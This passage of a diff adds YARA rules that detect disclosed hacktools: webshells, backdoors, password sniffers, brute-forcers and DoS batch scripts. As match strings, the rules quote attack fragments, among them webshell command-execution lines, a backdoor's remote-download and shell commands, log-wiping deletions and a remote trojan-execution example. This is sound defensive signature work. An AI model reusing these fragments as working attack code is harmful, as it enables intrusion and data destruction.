+		$s10 = "  ( /s ) :" fullword ascii
+		$s11 = "forms.vbp" fullword ascii
+		$s12 = "forms.vcp" fullword ascii
+		$s13 = "Software\\FlySky\\E\\Install" fullword ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Panda_tesksd {
+	meta:
+		description = "Disclosed hacktool set - file tesksd.jpg"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "922147b3e1e6cf1f5dd5f64a4e34d28bdc9128cb"
+	strings:
+		$s0 = "name=\"Microsoft.Windows.Common-Controls\" " fullword ascii
+		$s1 = "ExeMiniDownload.exe" fullword wide
+		$s16 = "POST %Hs" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_Http {
+	meta:
+		description = "Disclosed hacktool set - file Http.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "788bf0fdb2f15e0c628da7056b4e7b1a66340338"
+	strings:
+		$s0 = "RPCRT4.DLL" fullword ascii
+		$s1 = "WNetAddConnection2A" fullword ascii
+		$s2 = "NdrPointerBufferSize" fullword ascii
+		$s3 = "_controlfp" fullword ascii
+	condition:
+		all of them and filesize < 10KB
+}
+
+rule Hacktools_CN_Burst_Start {
+	meta:
+		description = "Disclosed hacktool set - file Start.bat - DoS tool"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "75d194d53ccc37a68286d246f2a84af6b070e30c"
+	strings:
+		$s0 = "for /f \"eol= tokens=1,2 delims= \" %%i in (ip.txt) do (" fullword ascii
+		$s1 = "Blast.bat /r 600" fullword ascii
+		$s2 = "Blast.bat /l Blast.bat" fullword ascii
+		$s3 = "Blast.bat /c 600" fullword ascii
+		$s4 = "start Clear.bat" fullword ascii
+		$s5 = "del Result.txt" fullword ascii
+		$s6 = "s syn %%i %%j 3306 /save" fullword ascii
+		$s7 = "start Thecard.bat" fullword ascii
+		$s10 = "setlocal enabledelayedexpansion" fullword ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Panda_tasksvr {
+	meta:
+		description = "Disclosed hacktool set - file tasksvr.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "a73fc74086c8bb583b1e3dcfd326e7a383007dc0"
+	strings:
+		$s2 = "Consys21.dll" fullword ascii
+		$s4 = "360EntCall.exe" fullword wide
+		$s15 = "Beijing1" fullword ascii
+	condition:
+		all of them
+}
+rule Hacktools_CN_Burst_Clear {
+	meta:
+		description = "Disclosed hacktool set - file Clear.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "148c574a4e6e661aeadaf3a4c9eafa92a00b68e4"
+	strings:
+		$s0 = "del /f /s /q %systemdrive%\\*.log    " fullword ascii
+		$s1 = "del /f /s /q %windir%\\*.bak    " fullword ascii
+		$s4 = "del /f /s /q %systemdrive%\\*.chk    " fullword ascii
+		$s5 = "del /f /s /q %systemdrive%\\*.tmp    " fullword ascii
+		$s8 = "del /f /q %userprofile%\\COOKIES s\\*.*    " fullword ascii
+		$s9 = "rd /s /q %windir%\\temp & md %windir%\\temp    " fullword ascii
+		$s11 = "del /f /s /q %systemdrive%\\recycled\\*.*    " fullword ascii
+		$s12 = "del /f /s /q \"%userprofile%\\Local Settings\\Temp\\*.*\"    " fullword ascii
+		$s19 = "del /f /s /q \"%userprofile%\\Local Settings\\Temporary Internet Files\\*.*\"   " ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Burst_Thecard {
+	meta:
+		description = "Disclosed hacktool set - file Thecard.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "50b01ea0bfa5ded855b19b024d39a3d632bacb4c"
+	strings:
+		$s0 = "tasklist |find \"Clear.bat\"||start Clear.bat" fullword ascii
+		$s1 = "Http://www.coffeewl.com" fullword ascii
+		$s2 = "ping -n 2 localhost 1>nul 2>nul" fullword ascii
+		$s3 = "for /L %%a in (" fullword ascii
+		$s4 = "MODE con: COLS=42 lines=5" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_Burst_Blast {
+	meta:
+		description = "Disclosed hacktool set - file Blast.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "b07702a381fa2eaee40b96ae2443918209674051"
+	strings:
+		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http:" ascii
+		$s1 = "@echo off" fullword ascii
+	condition:
+		all of them
+}
+
+rule VUBrute_VUBrute {
+	meta:
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file VUBrute.exe"
+		author = "Florian Roth"
+		date = "22.11.14"
+		score = 70
+		hash = "166fa8c5a0ebb216c832ab61bf8872da556576a7"
+	strings:
+		$s0 = "Text Files (*.txt);;All Files (*)" fullword ascii
+		$s1 = "http://ubrute.com" fullword ascii
+		$s11 = "IP - %d; Password - %d; Combination - %d" fullword ascii
+		$s14 = "error.txt" fullword ascii
+	condition:
+		all of them
+}
+
+rule DK_Brute {
+	meta:
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file DK Brute.exe"
+		author = "Florian Roth"
+		date = "22.11.14"
+		score = 70
+		reference = "http://goo.gl/xiIphp"
+		hash = "93b7c3a01c41baecfbe42461cb455265f33fbc3d"
+	strings:
+		$s6 = "get_CrackedCredentials" fullword ascii
+		$s13 = "Same port used for two different protocols:" fullword wide
+		$s18 = "coded by fLaSh" fullword ascii
+		$s19 = "get_grbToolsScaningCracking" fullword ascii
+	condition:
+		all of them
+}
+
+rule VUBrute_config {
+	meta:
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file config.ini"
+		author = "Florian Roth"
+		date = "22.11.14"
+		score = 70
+		reference = "http://goo.gl/xiIphp"
+		hash = "b9f66b9265d2370dab887604921167c11f7d93e9"
+	strings:
+		$s2 = "Restore=1" fullword ascii
+		$s6 = "Thread=" ascii
+		$s7 = "Running=1" fullword ascii
+		$s8 = "CheckCombination=" fullword ascii
+		$s10 = "AutoSave=1.000000" fullword ascii
+		$s12 = "TryConnect=" ascii
+		$s13 = "Tray=" ascii
+	condition:
+		all of them
+}
+
+rule sig_238_hunt {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file hunt.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "f9f059380d95c7f8d26152b1cb361d93492077ca"
+	strings:
+		$s1 = "Programming by JD Glaser - All Rights Reserved" fullword ascii
+		$s3 = "Usage - hunt \\\\servername" fullword ascii
+		$s4 = ".share = %S - %S" fullword wide
+		$s5 = "SMB share enumerator and admin finder " fullword ascii
+		$s7 = "Hunt only runs on Windows NT..." fullword ascii
+		$s8 = "User = %S" fullword ascii
+		$s9 = "Admin is %s\\%s" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_listip {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file listip.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "f32a0c5bf787c10eb494eb3b83d0c7a035e7172b"
+	strings:
+		$s0 = "ERROR!!! Bad host lookup. Program Terminate." fullword ascii
+		$s2 = "ERROR No.2!!! Program Terminate." fullword ascii
+		$s4 = "Local Host Name: %s" fullword ascii
+		$s5 = "Packed by exe32pack 1.38" fullword ascii
+		$s7 = "Local Computer Name: %s" fullword ascii
+		$s8 = "Local IP Adress: %s" fullword ascii
+	condition:
+		all of them
+}
+
+rule ArtTrayHookDll {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ArtTrayHookDll.dll"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "4867214a3d96095d14aa8575f0adbb81a9381e6c"
+	strings:
+		$s0 = "ArtTrayHookDll.dll" fullword ascii
+		$s7 = "?TerminateHook@@YAXXZ" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_eee {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file eee.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "236916ce2980c359ff1d5001af6dacb99227d9cb"
+	strings:
+		$s0 = "szj1230@yesky.com" fullword wide
+		$s3 = "C:\\Program Files\\DevStudio\\VB\\VB5.OLB" fullword ascii
+		$s4 = "MailTo:szj1230@yesky.com" fullword wide
+		$s5 = "Command1_Click" fullword ascii
+		$s7 = "software\\microsoft\\internet explorer\\typedurls" fullword wide
+		$s11 = "vb5chs.dll" fullword ascii
+		$s12 = "MSVBVM50.DLL" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspbackdoor_asp4 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file asp4.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "faf991664fd82a8755feb65334e5130f791baa8c"
+	strings:
+		$s0 = "system.dll" fullword ascii
+		$s2 = "set sys=server.CreateObject (\"system.contral\") " fullword ascii
+		$s3 = "Public Function reboot(atype As Variant)" fullword ascii
+		$s4 = "t& = ExitWindowsEx(1, atype)" ascii
+		$s5 = "atype=request(\"atype\") " fullword ascii
+		$s7 = "AceiveX dll" fullword ascii
+		$s8 = "Declare Function ExitWindowsEx Lib \"user32\" (ByVal uFlags As Long, ByVal " ascii
+		$s10 = "sys.reboot(atype)" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspfile1 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file aspfile1.asp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "77b1e3a6e8f67bd6d16b7ace73dca383725ac0af"
+	strings:
+		$s0 = "' -- check for a command that we have posted -- '" fullword ascii
+		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword ascii
+		$s5 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"><BODY>" fullword ascii
+		$s6 = "<input type=text name=\".CMD\" size=45 value=\"<%= szCMD %>\">" fullword ascii
+		$s8 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword ascii
+		$s15 = "szCMD = Request.Form(\".CMD\")" fullword ascii
+	condition:
+		3 of them
+}
+
+rule EditServer {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EditServer.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "87b29c9121cac6ae780237f7e04ee3bc1a9777d3"
+	strings:
+		$s0 = "%s Server.exe" fullword ascii
+		$s1 = "Service Port: %s" fullword ascii
+		$s2 = "The Port Must Been >0 & <65535" fullword ascii
+		$s8 = "3--Set Server Port" fullword ascii
+		$s9 = "The Server Password Exceeds 32 Characters" fullword ascii
+		$s13 = "Service Name: %s" fullword ascii
+		$s14 = "Server Password: %s" fullword ascii
+		$s17 = "Inject Process Name: %s" fullword ascii
+
+		$x1 = "WinEggDrop Shell Congirator" fullword ascii
+	condition:
+		5 of ($s*) or $x1
+}
+
+rule sig_238_letmein {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file letmein.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "74d223a56f97b223a640e4139bb9b94d8faa895d"
+	strings:
+		$s1 = "Error get globalgroup memebers: NERR_InvalidComputer" fullword ascii
+		$s6 = "Error get users from server!" fullword ascii
+		$s7 = "get in nt by name and null" fullword ascii
+		$s16 = "get something from nt, hold by killusa." fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_token {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file token.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "c52bc6543d4281aa75a3e6e2da33cfb4b7c34b14"
+	strings:
+		$s0 = "Logon.exe" fullword ascii
+		$s1 = "Domain And User:" fullword ascii
+		$s2 = "PID=Get Addr$(): One" fullword ascii
+		$s3 = "Process " fullword ascii
+		$s4 = "psapi.dllK" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_TELNET {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file TELNET.EXE from Windows ME"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "50d02d77dc6cc4dc2674f90762a2622e861d79b1"
+	strings:
+		$s0 = "TELNET [host [port]]" fullword wide
+		$s2 = "TELNET.EXE" fullword wide
+		$s4 = "Microsoft(R) Windows(R) Millennium Operating System" fullword wide
+		$s14 = "Software\\Microsoft\\Telnet" fullword wide
+	condition:
+		all of them
+}
+
+rule snifferport {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file snifferport.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "d14133b5eaced9b7039048d0767c544419473144"
+	strings:
+		$s0 = "iphlpapi.DLL" fullword ascii
+		$s5 = "ystem\\CurrentCorolSet\\" fullword ascii
+		$s11 = "Port.TX" fullword ascii
+		$s12 = "32Next" fullword ascii
+		$s13 = "V1.2 B" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_webget {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file webget.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "36b5a5dee093aa846f906bbecf872a4e66989e42"
+	strings:
+		$s0 = "Packed by exe32pack" ascii
+		$s1 = "GET A HTTP/1.0" fullword ascii
+		$s2 = " error " fullword ascii
+		$s13 = "Downloa" ascii
+	condition:
+		all of them
+}
+
+rule XYZCmd_zip_Folder_XYZCmd {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file XYZCmd.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "bbea5a94950b0e8aab4a12ad80e09b630dd98115"
+	strings:
+		$s0 = "Executes Command Remotely" fullword wide
+		$s2 = "XYZCmd.exe" fullword wide
+		$s6 = "No Client Software" fullword wide
+		$s19 = "XYZCmd V1.0 For NT S" fullword ascii
+	condition:
+		all of them
+}
+
+rule ASPack_Chinese {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ASPack Chinese.ini"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "02a9394bc2ec385876c4b4f61d72471ac8251a8e"
+	strings:
+		$s0 = "= Click here if you want to get your registered copy of ASPack" fullword ascii
+		$s1 = ";  For beginning of translate - copy english.ini into the yourlanguage.ini" fullword ascii
+		$s2 = "E-Mail:                      shinlan@km169.net" fullword ascii
+		$s8 = ";  Please, translate text only after simbol '='" fullword ascii
+		$s19 = "= Compress with ASPack" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspbackdoor_EDIR {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EDIR.ASP"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "03367ad891b1580cfc864e8a03850368cbf3e0bb"
+	strings:
+		$s1 = "response.write \"<a href='index.asp'>" fullword ascii
+		$s3 = "if Request.Cookies(\"password\")=\"" ascii
+		$s6 = "whichdir=server.mappath(Request(\"path\"))" fullword ascii
+		$s7 = "Set fs = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+		$s19 = "whichdir=Request(\"path\")" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_filespy {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file filespy.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 50
+		hash = "89d8490039778f8c5f07aa7fd476170293d24d26"
+	strings:
+		$s0 = "Hit [Enter] to begin command mode..." fullword ascii
+		$s1 = "If you are in command mode," fullword ascii
+		$s2 = "[/l] lists all the drives the monitor is currently attached to" fullword ascii
+		$s9 = "FileSpy.exe" fullword wide
+		$s12 = "ERROR starting FileSpy..." fullword ascii
+		$s16 = "exe\\filespy.dbg" fullword ascii
+		$s17 = "[/d <drive>] detaches monitor from <drive>" fullword ascii
+		$s19 = "Should be logging to screen..." fullword ascii
+		$s20 = "Filmon:  Unknown log record type" fullword ascii
+	condition:
+		7 of them
+}
+
+rule ByPassFireWall_zip_Folder_Ie {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Ie.dll"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "d1b9058f16399e182c9b78314ad18b975d882131"
+	strings:
+		$s0 = "d:\\documents and settings\\loveengeng\\desktop\\source\\bypass\\lcc\\ie.dll" fullword ascii
+		$s1 = "LOADER ERROR" fullword ascii
+		$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s7 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+	condition:
+		all of them
+}
+
+rule EditKeyLogReadMe {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EditKeyLogReadMe.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "dfa90540b0e58346f4b6ea12e30c1404e15fbe5a"
+	strings:
+		$s0 = "editKeyLog.exe KeyLog.exe," fullword ascii
+		$s1 = "WinEggDrop.DLL" fullword ascii
+		$s2 = "nc.exe" fullword ascii
+		$s3 = "KeyLog.exe" fullword ascii
+		$s4 = "EditKeyLog.exe" fullword ascii
+		$s5 = "wineggdrop" fullword ascii
+	condition:
+		3 of them
+}
+
+rule PassSniffer_zip_Folder_readme {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file readme.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "a52545ae62ddb0ea52905cbb61d895a51bfe9bcd"
+	strings:
+		$s0 = "PassSniffer.exe" fullword ascii
+		$s1 = "POP3/FTP Sniffer" fullword ascii
+		$s2 = "Password Sniffer V1.0" fullword ascii
+	condition:
+		1 of them
+}
+
+rule sig_238_gina {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file gina.reg"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "324acc52566baf4afdb0f3e4aaf76e42899e0cf6"
+	strings:
+		$s0 = "\"gina\"=\"gina.dll\"" fullword ascii
+		$s1 = "REGEDIT4" fullword ascii
+		$s2 = "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon]" fullword ascii
+	condition:
+		all of them
+}
+
+rule splitjoin {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "e4a9ef5d417038c4c76b72b5a636769a98bd2f8c"
+	strings:
+		$s0 = "Not for distribution without the authors permission" fullword wide
+		$s2 = "Utility to split and rejoin files.0" fullword wide
+		$s5 = "Copyright (c) Angus Johnson 2001-2002" fullword wide
+		$s19 = "SplitJoin" fullword wide
+	condition:
+		all of them
+}
+
+rule EditKeyLog {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EditKeyLog.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "a450c31f13c23426b24624f53873e4fc3777dc6b"
+	strings:
+		$s1 = "Press Any Ke" fullword ascii
+		$s2 = "Enter 1 O" fullword ascii
+		$s3 = "Bon >0 & <65535L" fullword ascii
+		$s4 = "--Choose " fullword ascii
+	condition:
+		all of them
+}
+
+rule PassSniffer {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file PassSniffer.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "dcce4c577728e8edf7ed38ac6ef6a1e68afb2c9f"
+	strings:
+		$s2 = "Sniff" fullword ascii
+		$s3 = "GetLas" fullword ascii
+		$s4 = "VersionExA" fullword ascii
+		$s10 = " Only RuntUZ" fullword ascii
+		$s12 = "emcpysetprintf\\" fullword ascii
+		$s13 = "WSFtartup" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspfile2 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file aspfile2.asp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "14efbc6cb01b809ad75a535d32b9da4df517ff29"
+	strings:
+		$s0 = "response.write \"command completed success!\" " fullword ascii
+		$s1 = "for each co in foditems " fullword ascii
+		$s3 = "<input type=text name=text6 value=\"<%= szCMD6 %>\"><br> " fullword ascii
+		$s19 = "<title>Hello! Welcome </title>" fullword ascii
+	condition:
+		all of them
+}
+
+rule UnPack_rar_Folder_InjectT {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "80f39e77d4a34ecc6621ae0f4d5be7563ab27ea6"
+	strings:
+		$s0 = "%s -Install                          -->To Install The Service" fullword ascii
+		$s1 = "Explorer.exe" fullword ascii
+		$s2 = "%s -Start                            -->To Start The Service" fullword ascii
+		$s3 = "%s -Stop                             -->To Stop The Service" fullword ascii
+		$s4 = "The Port Is Out Of Range" fullword ascii
+		$s7 = "Fail To Set The Port" fullword ascii
+		$s11 = "\\psapi.dll" fullword ascii
+		$s20 = "TInject.Dll" fullword ascii
+
+		$x1 = "Software\\Microsoft\\Internet Explorer\\WinEggDropShell" fullword ascii
+		$x2 = "injectt.exe" fullword ascii
+	condition:
+		( 1 of ($x*) ) and ( 3 of ($s*) )
+}
+
+rule Jc_WinEggDrop_Shell {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Jc.WinEggDrop Shell.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "820674b59f32f2cf72df50ba4411d7132d863ad2"
+	strings:
+		$s0 = "Sniffer.dll" fullword ascii
+		$s4 = ":Execute net.exe user Administrator pass" fullword ascii
+		$s5 = "Fport.exe or mport.exe " fullword ascii
+		$s6 = ":Password Sniffering Is Running |Not Running " fullword ascii
+		$s9 = ": The Terminal Service Port Has Been Set To NewPort" fullword ascii
+		$s15 = ": Del www.exe                   " fullword ascii
+		$s20 = ":Dir *.exe                    " fullword ascii
+	condition:
+		2 of them
+}
+
+rule aspbackdoor_asp1 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file asp1.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "9ef9f34392a673c64525fcd56449a9fb1d1f3c50"
+	strings:
+		$s0 = "param = \"driver={Microsoft Access Driver (*.mdb)}\" " fullword ascii
+		$s1 = "conn.Open param & \";dbq=\" & Server.MapPath(\"scjh.mdb\") " fullword ascii
+		$s6 = "set rs=conn.execute (sql)%> " fullword ascii
+		$s7 = "<%set Conn = Server.CreateObject(\"ADODB.Connection\") " fullword ascii
+		$s10 = "<%dim ktdh,scph,scts,jhqtsj,yhxdsj,yxj,rwbh " fullword ascii
+		$s15 = "sql=\"select * from scjh\" " fullword ascii
+	condition:
+		all of them
+}
+
+rule QQ_zip_Folder_QQ {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file QQ.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "9f8e3f40f1ac8c1fa15a6621b49413d815f46cfb"
+	strings:
+		$s0 = "EMAIL:haoq@neusoft.com" fullword wide
+		$s1 = "EMAIL:haoq@neusoft.com" fullword wide
+		$s4 = "QQ2000b.exe" fullword wide
+		$s5 = "haoq@neusoft.com" fullword ascii
+		$s9 = "QQ2000b.exe" fullword ascii
+		$s10 = "\\qq2000b.exe" fullword ascii
+		$s12 = "WINDSHELL STUDIO[WINDSHELL " fullword wide
+		$s17 = "SOFTWARE\\HAOQIANG\\" fullword ascii
+	condition:
+		5 of them
+}
+
+rule UnPack_rar_Folder_TBack {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file TBack.DLL"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "30fc9b00c093cec54fcbd753f96d0ca9e1b2660f"
+	strings:
+		$s0 = "Redirect SPort RemoteHost RPort       -->Port Redirector" fullword ascii
+		$s1 = "http://IP/a.exe a.exe                 -->Download A File" fullword ascii
+		$s2 = "StopSniffer                           -->Stop Pass Sniffer" fullword ascii
+		$s3 = "TerminalPort Port                     -->Set New Terminal Port" fullword ascii
+		$s4 = "Example: Http://12.12.12.12/a.exe abc.exe" fullword ascii
+		$s6 = "Create Password Sniffering Thread Successfully. Status:Logging" fullword ascii
+		$s7 = "StartSniffer NIC                      -->Start Sniffer" fullword ascii
+		$s8 = "Shell                                 -->Get A Shell" fullword ascii
+		$s11 = "DeleteService ServiceName             -->Delete A Service" fullword ascii
+		$s12 = "Disconnect ThreadNumber|All           -->Disconnect Others" fullword ascii
+		$s13 = "Online                                -->List All Connected IP" fullword ascii
+		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword ascii
+		$s16 = "Example: Set REG_SZ Test Trojan.exe" fullword ascii
+		$s18 = "Execute Program                       -->Execute A Program" fullword ascii
+		$s19 = "Reboot                                -->Reboot The System" fullword ascii
+		$s20 = "Password Sniffering Is Not Running" fullword ascii
+	condition:
+		4 of them
+}
+
+rule sig_238_cmd_2 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file cmd.jsp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "be4073188879dacc6665b6532b03db9f87cfc2bb"
+	strings:
+		$s0 = "Process child = Runtime.getRuntime().exec(" ascii
+		$s1 = "InputStream in = child.getInputStream();" fullword ascii
+		$s2 = "String cmd = request.getParameter(\"" ascii
+		$s3 = "while ((c = in.read()) != -1) {" fullword ascii
+		$s4 = "<%@ page import=\"java.io.*\" %>" fullword ascii
+	condition:
+		all of them
+}
+
+rule RangeScan {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file RangeScan.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "bace2c65ea67ac4725cb24aa9aee7c2bec6465d7"
+	strings:
+		$s0 = "RangeScan.EXE" fullword wide
+		$s4 = "<br><p align=\"center\"><b>RangeScan " fullword ascii
+		$s9 = "Produced by isn0" fullword ascii
+		$s10 = "RangeScan" fullword wide
+		$s20 = "%d-%d-%d %d:%d:%d" fullword ascii
+	condition:
+		3 of them
+}
+
+rule XYZCmd_zip_Folder_Readme {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Readme.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "967cb87090acd000d22e337b8ce4d9bdb7c17f70"
+	strings:
+		$s3 = "3.xyzcmd \\\\RemoteIP /user:Administrator /pwd:1234 /nowait trojan.exe" fullword ascii
+		$s20 = "XYZCmd V1.0" fullword ascii
+	condition:
+		all of them
+}
+
+rule ByPassFireWall_zip_Folder_Inject {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Inject.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "34f564301da528ce2b3e5907fd4b1acb7cb70728"
+	strings:
+		$s6 = "Fail To Inject" fullword ascii
+		$s7 = "BtGRemote Pro; V1.5 B/{" fullword ascii
+		$s11 = " Successfully" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_sqlcmd {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file sqlcmd.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 40
+		hash = "b6e356ce6ca5b3c932fa6028d206b1085a2e1a9a"
+	strings:
+		$s0 = "Permission denial to EXEC command.:(" fullword ascii
+		$s3 = "by Eyas<cooleyas@21cn.com>" fullword ascii
+		$s4 = "Connect to %s MSSQL server success.Enjoy the shell.^_^" fullword ascii
+		$s5 = "Usage: %s <host> <uid> <pwd>" fullword ascii
+		$s6 = "SqlCmd2.exe Inside Edition." fullword ascii
+		$s7 = "Http://www.patching.net  2000/12/14" fullword ascii
+		$s11 = "Example: %s 192.168.0.1 sa \"\"" fullword ascii
+	condition:
+		4 of them
+}
+
+rule ASPack_ASPACK {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ASPACK.EXE"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "c589e6fd48cfca99d6335e720f516e163f6f3f42"
+	strings:
+		$s0 = "ASPACK.EXE" fullword wide
+		$s5 = "CLOSEDFOLDER" fullword wide
+		$s10 = "ASPack compressor" fullword wide
+	condition:
+		all of them
+}
+
+rule sig_238_2323 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file 2323.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "21812186a9e92ee7ddc6e91e4ec42991f0143763"
+	strings:
+		$s0 = "port - Port to listen on, defaults to 2323" fullword ascii
+		$s1 = "Usage: srvcmd.exe [/h] [port]" fullword ascii
+		$s3 = "Failed to execute shell" fullword ascii
+		$s5 = "/h   - Hide Window" fullword ascii
+		$s7 = "Accepted connection from client at %s" fullword ascii
+		$s9 = "Error %d: %s" fullword ascii
+	condition:
+		all of them
+}
+
+rule Jc_ALL_WinEggDropShell_rar_Folder_Install_2 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Install.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "95866e917f699ee74d4735300568640ea1a05afd"
+	strings:
+		$s1 = "http://go.163.com/sdemo" fullword wide
+		$s2 = "Player.tmp" fullword ascii
+		$s3 = "Player.EXE" fullword wide
+		$s4 = "mailto:sdemo@263.net" fullword ascii
+		$s5 = "S-Player.exe" fullword ascii
+		$s9 = "http://www.BaiXue.net (" fullword wide
+	condition:
+		all of them
+}
+
+rule sig_238_TFTPD32 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file TFTPD32.EXE"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "5c5f8c1a2fa8c26f015e37db7505f7c9e0431fe8"
+	strings:
+		$s0 = " http://arm.533.net" fullword ascii
+		$s1 = "Tftpd32.hlp" fullword ascii
+		$s2 = "Timeouts and Ports should be numerical and can not be 0" fullword ascii
+		$s3 = "TFTPD32 -- " fullword wide
+		$s4 = "%d -- %s" fullword ascii
+		$s5 = "TIMEOUT while waiting for Ack block %d. file <%s>" fullword ascii
